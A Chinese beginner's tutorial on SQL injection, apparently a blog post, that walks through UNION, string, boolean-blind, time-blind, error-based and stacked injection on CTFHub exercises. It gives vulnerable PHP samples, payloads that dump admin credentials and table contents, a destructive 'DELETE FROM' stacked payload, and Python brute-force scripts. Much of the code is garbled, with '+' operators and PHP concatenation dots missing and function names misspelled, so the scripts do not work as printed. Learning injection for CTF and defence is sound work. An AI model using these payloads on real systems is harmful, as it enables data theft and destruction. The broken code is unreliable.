SQL注入入门保姆级教程。
SQL注入简介
在web应用开发过程中,为了实现内容的快速更新,很多开发者使用数据库对数据进行储存。而由于开发者在编写程序过程中,对用户传人数据过滤不严格,将可能存在的攻击载荷拼接到
SQL
查询语句中,再将这些查询语句传递给后端的数据库进行执行,从而达到攻击者预期的执行效果
SQL注入基础
-
整数型注入
-
UNION联合查询注入
-
字符型注入
-
布尔盲注
-
时间盲注
-
报错注入
-
堆叠注入
- ……
整数型注入和联合注入
整数型注入和联合注入
简述
网页后端PHP
的部分源代码:
<?php
// 连接本地MySQL,数据库名为database
$conn = mysqli_connect("127.0.0.1", "root", "password", "database");
// 查询stu_info表的name和grade字段,id为GET方式传入的值
$res = mysqli_query($conn, "SELECT name , grade FROM stu_info WHERE id = ".$_GET['id']);
// 将查询到的结果转化为数组
$row = mysqli_fetch_arry($res);
echo "<center>";
// 输出name字段
echo "<h1>".$row['name']."</h1>";
echo "<br>";
// 输出grade字段
echo "<h1>".$row['grade']."</h1>";
echo "</center>";
?>
与后端连接的数据库:
-
stu_info
表(存储学生信息)
-
admin
表(存储后台管理员数据)
前端网址:examle.com
正常用户传入数据
通过GET
方式传入参数id=1
:
https://examle.com/?id=1
收到请求的后端PHP
代码会将GET
方式传入的id=1
与前面的SQL
查询语句进行拼接,最后传给执行MySQL
的查询语句如下:
SELECT name , grade
FROM stu_info
WHERE id = 1
会在前端回显下面的数据库中的数据:
SQL
注入攻击
演示
下面是用户利用SQL
注入攻击获取后台管理员权限的演示
访问https://examle.com/?id=1
与https://examle.com/?id=2-1
,发现回显的数据都是:
通过这个数字运算行为判断这是个整数型注入,从后端代码的$_GET['id']
没有被引号包裹也可以看出这是个整数型注入。这时我们可以直接输入SQL
查询语句来干扰正常的查询:
SELECT name , grade
FROM stu_info
WHERE id = 1
UNION SELECT name, pwd
From admin
这段语句是查询stu_info
表中id=1
的学生的name
和grade
数据,并且联合查询表admin
中的所有数据来获取后台管理员的全部信息。但是前台并没有给我们想要的数据,因为后端的PHP
代码决定了一次只能显示一行记录,所以我们需要将第二条查询结果放在第一行,此时有多种办法:
- 在原有语句后面加上
limit 1,1
参数(取查询结果第一条记录的后一条记录)。 - 指定
id=-1
或者一个很大的值,使第一条语句无法查询到数据。
所以我们输入下面的SQL
语句干扰正常的查询:
可以回显的到admin
表中的全部数据,从而获得了网页的后台管理权限。
在数据库中执行该语句可以查询到如下数据:
这种使用UNION
语句的注入方法称为UNION联合查询注入
。
但是,上述的攻击方式有一个致命的缺陷,我们事先并不知道网页后台的数据库名字以及其中的表单名、列名,这种情况下如何使用SQL注入
攻击呢?
同样的,先通过传入id=1
和id=2-1
来判断这是一个整数型注入,然后直接输入SQL
语句来查询本数据库所有的表单名字:
SELECT name , grade
FROM stu_info
WHERE id = -1
# table_name是information_schema库中表的名字
# group_concat()是用“,”联合多行记录的函数
UNION SELECT 1,group_concat(table_name)
from information_schema.tables
# database()返回当前数据库的名称
where table_schema = database()
然后就能在前端回显所有的表单名了,该条语句在数据库执行会表示出下面的数据:
再次通过注入查询admin
表单中所有的列名:
SELECT name , grade
FROM stu_info
WHERE id = -1
# column_name是information_schema表单中列的名字
# group_concat()是用“,”联合多行记录的函数
UNION SELECT 1,group_concat(column_name)
from information_schema.columns
where table_name = 'admin'
就会在前端回显相应的字段名,这段查询语句在数据库执行后得到如下所有表单中的列名字段:
同上述步骤再次输入我们需要的SQL
查询语句来干扰正常的查询:
SELECT name , grade
FROM stu_info
WHERE id = -1
UNION SELECT name, pwd
From admin;
这样就能获取网页的管理员账号和密码,进入网页后门了。
总结
整数型注入
的关键在于找出输入的参数点
,然后通过数学运算判断输入参数附近是否有引号包裹,然后再通过SQL
查询语句的拼接,来获取网页后台的敏感信息。
例题
题目来源:CTFHUB
我们输入数字1,得到回显。
根据题意,知道这是个整数型注入,所以我们可以直接爆破表名。
联合查询,查询本数据库所有表名:
代码语言:javascript复制select * from news where id=1
union select 1,group_concat(table_name)
from information_schema.tables where table_schema=database();
发现没有只有这个数据回显。
后端代码决定了该页面只显示一个数据,我们需要用一些办法使我们需要的结果在第一行:
代码语言:javascript复制select * from news where id=-1
union select 1,group_concat(table_name)
from information_schema.tables where table_schema=database();
找到了名为flag的表。
接下来查询表flag里的所有列名:
代码语言:javascript复制select * from news where id=-1
union select 1,group_concat(column_name)
from information_schema.columns where table_name='flag';
发现只有一个flag的列。
最后查询这个flag表中flag列中的数据:
代码语言:javascript复制select * from news where id=-1
union select 1,group_concat(flag) from flag;
得到flag。
字符型注入
字符型注入
简述
简单修改一下网页后端的源代码:
代码语言:javascript复制<?php
// 连接本地MySQL,数据库名为database
$conn = mysqli_connect("127.0.0.1", "root", "password", "database");
// 查询stu_info表的name和grade字段,id为GET方式传入的值
$res = mysqli_query($conn, "SELECT name , grade FROM stu_info WHERE id = '".$_GET['id']"'");
// 将查询到的结果转化为数组
$row = mysqli_fetch_arry($res);
echo "<center>";
// 输出name字段
echo "<h1>".$row['name']."</h1>";
echo "<br>";
// 输出grade字段
echo "<h1>".$row['grade']."</h1>";
echo "</center>";
?>
可以看到在GET
参数输入的地方包裹了双引号。
如何判断是字符型注入还是整数型注入呢?
在MySql
中,等号两边如果数据类型不同,会发生强制转换,例如,1a
会被强制转化为1
,a
会被强制转化为0
。按照这个特性,我们通过在前端传入特定的值,就能够很容易判断输入点为字符型。
https://examle.com/?id=1' UNION SELECT name, pwd From admin #
1
后面的'
使后端源代码的第一个引号提前闭合,#
将后端源代码的最后一个引号注释掉,然后在中间中插入我们需要的查询语句,在后端表示为:
SELECT name , grade
FROM stu_info
WHERE id = '1'
UNION SELECT name, pwd
From admin #'
例题
题目来源:CTFHUB
我们先输入1,得到回显,查看查询语言,发现1被引号包裹,所以这是个字符型注入。
提前使第一个引号闭合,然后用#
将第二个引号注释,在中间插入我们需要的查询语句。
依旧是先爆破表名,将我们的注入的语句拼接后在后端执行的查询语句:
代码语言:javascript复制select * from news
where id='-1'
union select 1,group_concat(table_name)
from information_schema.tables
where table_schema=database()#'
在前端得到回显,发现名为flag的表单。
然后查询flag表中的所有列,将我们的注入语句拼接后在后端执行的查询语句如下:
代码语言:javascript复制select * from news
where id='-1'
union select 1,group_concat(column_name)
from information_schema.columns
where table_name='flag'#'
在前端得到回显,发现只有一个名为flag的列:
最后查询flag表单中flag列的数据,拼接后在后台执行的查询语句如下:
代码语言:javascript复制select * from news
where id='-1'
union select 1,group_concat(flag)
from flag#'
在前端得到回显,得到flag。
布尔盲注和时间盲注
布尔盲注和时间盲注
布尔盲注
简述
布尔盲注一般适用于页面没有回显字段,不支持联合查询
,且web页面返回true
或者 false
,构造SQL
语句,利用and
,or
等关键字来使其后的语句 true
、 false
,例如:
Select name,grade from stu_info where id=1 and substr(database(),1,1) = 's'"
使web页面返回true
或者false
,来判断数据库名第一个字母是否为s
,从而达到注入的目的来获取信息。
下面是需要用到的比较重要的函数:
-
ascii(char)
函数,返回字符ascii
码值 -
length(str)
函数,返回字符串的长度 -
left(str,len)
函数,返回从左至右截取固定长度的字符串 -
substr(str, pos, len)
substring(str, pos, len)
函数 , 返回从pos
位置开始到len
长度的子字符串
注入流程:
- 求当前数据库长度
- 求当前数据库表的ASCII
- 求当前数据库中表的个数
- 求当前数据库中其中一个表名的长度
- 求当前数据库中其中一个表名的ASCII
- 求列名的数量
- 求列名的长度
- 求列名的ASCII
- 求字段的数量
- 求字段内容的长度
- 求字段内容对应的ASCII
布尔盲注
脚本(按需修改):
import requests
import sys
session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""
# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 31) - j
str_ascii = chr(j) #将数字转化为ASCII码
payload = "1 and substr(database(),%d,1) = '%s'" % (i, str_ascii) #构造payload
str_get = session.get(url=url payload).text #将payload与url拼接,获取响应转化为文本
#判断盲注是否正确
if "query_success" in str_get:
if str_ascii == " ":
sys.exit()
else:
name = str_ascii
break
print(name)
布尔盲注详解
时间盲注
简述
时间盲注
是指基于时间的盲注,也叫延时注入
,根据页面的响应时间来判断是否存在注入。
使用场景:
- 页面没有回显位置(
联合查询注入
无效) - 页面不显示数据库的报错信息(
报错注入
无效) - 无论成功还是失败,页面只响应一种结果(
布尔盲注
无效)
使用步骤:
if(条件表达式,ture,false)
and
前后均为真or
其中一个为真
- 判断注入点
1 and if(1,sleep(5),3)
尝试构造以上payload
,延迟五秒以上则说明存在注入点。
- 判断长度
1 and if((length(查询语句) =1), sleep(5), 3)
如果页面响应时间超过5秒,说明长度判断正确; 如果页面响应时间不超过5秒,说明长度判断错误,继续判断长度。
- 枚举字符
1 and if((ascii(substr(查询语句,1,1)) = 'char'), sleep(5), 3)
如果页面响应时间超过5秒,说明字符内容判断正确,继续判断之后的字符; 如果页面响应时间不超过5秒,说明字符内容判断错误,递增猜解该字符的其他可能性。
时间盲注
脚本(按需修改):
import requests
import time
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/"
# 猜解长度使用的payload
payload_len = """?id=1 and if( (length(database()) ={n}) ,sleep(5),3)"""
# 枚举字符使用的payload
payload_str = """?id=1 and if( (ascii( substr( (database()) ,{n},1) ) ={r}) , sleep(5), 3)"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
start_time = time.time()
response = requests.get(url= url payload_len.format(n= length))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 响应时间>5秒时,表示猜解成功
if use_time > 5:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length = 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length 1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url= url payload_str.format(n= l, r= n))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 页面中出现此内容则表示成功
if use_time > 5:
str = chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
例题
题目来源:CTFHUB
解题思路:由于手动盲注工作量过大,这里我们选择用python
脚本构造payload
进行布尔盲注(还可以使用sqlmap
注入)。
首先获取数据库名,构造payload。
代码语言:javascript复制import requests
import sys
session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""
# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 31) - j
str_ascii = chr(j) #将数字转化为ASCII码
payload = "1 and substr(database(),%d,1) = '%s'" % (i, str_ascii) #构造payload
str_get = session.get(url=url payload).text #将payload与url拼接,获取响应转化为文本
#判断盲注是否正确
if "query_success" in str_get:
if str_ascii == " ":
sys.exit()
else:
name = str_ascii
break
print(name)
运行结果得出数据库名为sqli
。
第二步获取表名,重新构造payload,limit 0,1
表示获取第一个表名。
import requests
import sys
session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""
# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 31) - j
str_ascii = chr(j) #将数字转化为ASCII码
payload = "1 and substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),%d,1) = '%s'" % (i, str_ascii) #构造payload
str_get = session.get(url=url payload).text #将payload与url拼接,获取响应转化为文本
#判断盲注是否正确
if "query_success" in str_get:
if str_ascii == " ":
sys.exit()
else:
name = str_ascii
break
print(name)
运气很好,第一个表名就是我们需要的flag。
重新构造payload,接下来获取flag表中的字段名。
代码语言:javascript复制import requests
import sys
session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""
# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 31) - j
str_ascii = chr(j) #将数字转化为ASCII码
payload = "1 and substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),%d,1) = '%s'" % (i, str_ascii) #构造payload
str_get = session.get(url=url payload).text #将payload与url拼接,获取响应转化为文本
#判断盲注是否正确
if "query_success" in str_get:
if str_ascii == " ":
sys.exit()
else:
name = str_ascii
break
print(name)
发现flag表中有一个名为flag的字段。
最后重新构造payload,爆破得到flag。
代码语言:javascript复制import requests
import sys
session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""
# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 31) - j
str_ascii = chr(j) #将数字转化为ASCII码
payload = "1 and substr((select flag from flag),%d,1) = '%s'" % (i, str_ascii) #构造payload
str_get = session.get(url=url payload).text #将payload与url拼接,获取响应转化为文本
#判断盲注是否正确
if "query_success" in str_get:
if str_ascii == " ":
sys.exit()
else:
name = str_ascii
break
print(name)
报错注入和堆叠注入
报错注入和堆叠注入
报错注入
简述
为了方便开发者进行调试,有的网站会开启错误调试信息,修改后端代码如下:
代码语言:javascript复制<?php
// 连接本地MySQL,数据库名为database
$conn = mysqli_connect("127.0.0.1", "root", "password", "database");
// 查询stu_info表的name和grade字段,id为GET方式传入的值
$res = mysqli_query($conn, "SELECT name , grade FROM stu_info
WHERE id = '".$_GET['id']"'")
OR VAR_DUMP(mysqli_errot($conn));
// 将查询到的结果转化为数组
$row = mysqli_fetch_arry($res);
echo "<center>";
// 输出name字段
echo "<h1>".$row['name']."</h1>";
echo "<br>";
// 输出grade字段
echo "<h1>".$row['grade']."</h1>";
echo "</center>";
?>
此时,只要触发SQL
语句的错误,就可以在页面上看到错误信息,MySQL
会将语句执行后的报错信息输出,这种注入方式称为报错注入
。
updatexml
报错注入
updatexml
函数
代码语言:javascript复制updatexml(xml_document,xpath_string,new_value)
- 第一个参数:
XML_document
是String
格式,为XML文档对象
的名称,文中为Doc1
- 第二个参数:
XPath_string
(Xpath
格式的字符串)。 - 第三个参数:
new_value
,String
格式,替换查找到的符合条件的数据。
该函数用于改变文档中符合条件的节点的值。
用法
代码语言:javascript复制updatexml(1,concat(0x7e,database(),0x7e),1)
# 获取数据库名字
updatexml(1,concat(0x7e,(select table_name
from information_schema.tables
where table_schema=database() limit 0,1),0x7e),1)
# 获取表的数量
updatexml(1,concat(0x7e,(select table_name
from information_schema.tables
where table_schema=database() limit 0,1),0x7e),1)
# 获取表的名字
updatexml(1,concat(0x7e,(select column_name
from information_schema.columns
where table_name = 'table_name' limit 0,1),0x7e),1)
# 获取字段的名字
extractvalue
报错注入
extractvalue
函数
代码语言:javascript复制extractvalue(xml_document,xpath_string)
- 第一个参数:
XML_document
是String
格式,为XMIL
文档对象的名称。 - 第二个参数:
XPath_string
(Xpath
格式的字符串)。
该函数用于从目标XML
中返回包含所查询值的字符串。
用法
代码语言:javascript复制extractvalue(1,concat(0x7e,(database()),0x7e))
#获取数据库名字
extractvalue(1,concat(0x7e,(select count(table_name)
from information_schema.tables
where table_schema=database()),0x7e))
# 获取表的数量
extractvalue(1,concat(0x7e,(select table_name
from information_schema.tables
where table_schema=database() limit 0,1),0x7e))
# 获取表的名字
extractvalue(1,concat(0x7e,(select column_name
from information_schema.columns
where table_name='table_name' limit 0,1),0x7e))
# 获取字段的名字
floor
报错注入
floor
函数
floor
报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。rand()返回[0,1)之间的随机数,floor()对数字向下取整。
报错原理:利用数据库表主键不能重复的原理,使用group by
分组,产生主键冗余,导致报错。
详解
用法
代码语言:javascript复制union select count(*),1,concat((select database()),
floor(rand(0)*2)) as a from information_schema.tables group by a
# 获取数据库名字
union select 0x7e,count(*),concat((select count(table_name)
from information_schema.tables
where table_schema=database()),
floor(rand(0)*2)) as a from information_schema.tables group by a
# 获取表的数量
union select count(*),1,concat((select table_name
from information_schema.tables
where table_schema = database() limit 0,1),
floor(rand(0)*2)) as a from information_schema.tables group by a
# 获取表的名字
union select 1,count(*),concat((select column_name
from information_schema.columns
where table_name = 'tabel_name' limit 0,1),
floor(rand(0)*2)) as a from information_schema.columns group by a
# 获取字段的名字
堆叠注入
简述
Stacked injections(堆叠注入)
,从字面意思就可以看出是多条SQL
语句一起执行。
在SQL
中,分号;
是用来表示一条SQL
语句的结束。试想一下我们在 ; 结束一个SQL
语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而UNION联合注入
也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union
或者union all
执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入1; DELETE FROM products
服务器端生成的SQL
语句为Select name,grade from stu_info where id=1;DELETE FROM stu_info
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
<?php
$db=new PDO("mysql:host=localhost:3306;daname=database",'root','password');
$sql="select name,grade from stu_info where id='"$_GET['id']"'";
try{
foreach($db->query($sql) as $row){
print_r($row);
}
}
catch(PDOException $e){
echo $e->getMessage();
die();
}
?>
例题
题目来源:CTFHUB
首先获取数据库名字。
代码语言:javascript复制select * from news where id=1
or updatexml(1,concat(0x7e,database(),0x7e),1)
然后获取表的名字,发现第一个表就是我们要找的flag。
代码语言:javascript复制select * from news where id=1
or updatexml(1,concat(0x7e,(select table_name
from information_schema.tables
where table_schema=database() limit 0,1),0x7e),1)
查询flag表单中的列名。
代码语言:javascript复制select * from news where id=1
or updatexml(1,concat(0x7e,(select column_name
from information_schema.columns
where table_name='flag' limit 0,1),0x7e),1)
最后获取flag。
代码语言:javascript复制select * from news where id=1
or updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)
有写的不对的地方欢迎评论区指正。